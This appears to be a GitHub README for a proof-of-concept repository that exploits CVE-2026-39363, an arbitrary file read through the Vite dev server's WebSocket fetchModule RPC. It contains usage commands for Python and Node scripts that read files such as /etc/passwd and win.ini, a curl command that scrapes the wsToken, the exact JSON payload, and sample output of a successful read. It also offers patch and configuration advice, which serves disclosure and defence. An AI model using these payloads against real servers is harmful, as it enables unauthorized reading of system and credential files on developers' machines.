
Exploit for CVE-2026-39363, a Vite Dev Server WebSocket arbitrary file read vulnerability, with Python and Node.js scripts for automated exploitation and manual steps.
| Attribute | Information |
|---|
| CVE ID | CVE-2026-39363 |
| GHSA ID | GHSA-p9ff-h696-f583 |
| Vulnerability Type | Arbitrary File Read |
| Affected Component | Vite Dev Server |
| Affected Versions | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 |
| CVSS Score | High |
| Fixed Versions | Vite >= 6.2.3 |
The WebSocket fetchModule RPC call in Vite Dev Server contains a security check bypass vulnerability.
Vulnerable Code Location: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070
async function fetchModule(environment, url, importer, options = {}) {
// ...
const isFileUrl = url.startsWith("file://");
// Key vulnerability point: when the URL is file:// or there is no importer
// resolveId is called directly without performing the isFileServingAllowed check!
if (isFileUrl || !importer) {
const resolved = await environment.pluginContainer.resolveId(url);
if (!resolved) {
throw new Error(`[vite] cannot find entry point module '${url}'.`);
}
url = normalizeResolvedIdToUrl(environment, url, resolved);
}
// ...continues processing and returns file content
}
┌─────────────────────────────────────────────────────────────────┐
│ HTTP Request Path (with security check) │
├─────────────────────────────────────────────────────────────────┤
│ HTTP GET /@fs/C:/secret.txt │
│ │ │
│ ▼ │
│ ensureServingAccess() │
│ │ │
│ ▼ │
│ isFileServingAllowed() │
│ │ │
│ ▼ │
│ isFileLoadingAllowed() ────> BLOCKED │
│ (checks server.fs.allow) │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ WebSocket Request Path (bypasses check) │
├─────────────────────────────────────────────────────────────────┤
│ WebSocket: fetchModule("file://C:/secret.txt") │
│ │ │
│ ▼ │
│ fetchModule() │
│ (isFileUrl || !importer) ───> resolveId directly │
│ │ │
│ ▼ │
│ loadAndTransform() │
│ isFileLoadingAllowed() ────> depends on fs.allow config │
│ │ │
│ ▼ │
│ File content returned successfully (if allowed by fs.allow) │
└─────────────────────────────────────────────────────────────────┘
HTTP Path: Passes through multiple layers of checks: ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed
WebSocket Path:
fetchModule function does not call isFileServingAllowedisFileLoadingAllowed in loadAndTransform, is still effectiveserver.fs.allow configuration is permissive, arbitrary files can be read--host)fs.allow: ['..'] - can read parent directoriesfs.allow: ['C:/'] - can read the entire C drivefs.strict: false - completely unrestricted/@vite/client)# Clone the repository
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363
# Install dependencies
npm install
# Start Vite Dev Server (using permissive config to demonstrate the vulnerability)
npm run dev
# Basic usage (auto-detects port)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"
# Read files outside the project
python exp.py -t localhost -p 5173 -f "E:/secret.txt"
# Specify token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
# Obtain wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'
# Run the POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
curl -s "http://target:5173/@vite/client" | grep wsToken
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
{
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "invoke_0",
"name": "fetchModule",
"data": ["file:///C:/Windows/win.ini"]
}
}
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini
[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])
============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
============================================================
CVE-2026-39363/
├── README.md # Vulnerability analysis document
├── exp.py # Python exploit script
├── poc.js # Node.js POC
├── vite.config.js # Vite configuration file (for demonstration)
├── package.json # Project configuration
├── src/ # Source code directory
│ ├── main.js
│ ├── counter.js
│ └── style.css
├── public/ # Static assets
└── index.html # Entry HTML
npm update vite
# or
npm install vite@latest
// vite.config.js
export default defineConfig({
server: {
fs: {
strict: true,
allow: ['.'] // Only allow the project root directory
}
}
})
--host to expose the serviceThis project is intended for security research and educational purposes only. Do not use this exploit code for any illegal activities. Before testing with this code, please ensure you have obtained explicit authorization from the owner of the target system.
MIT License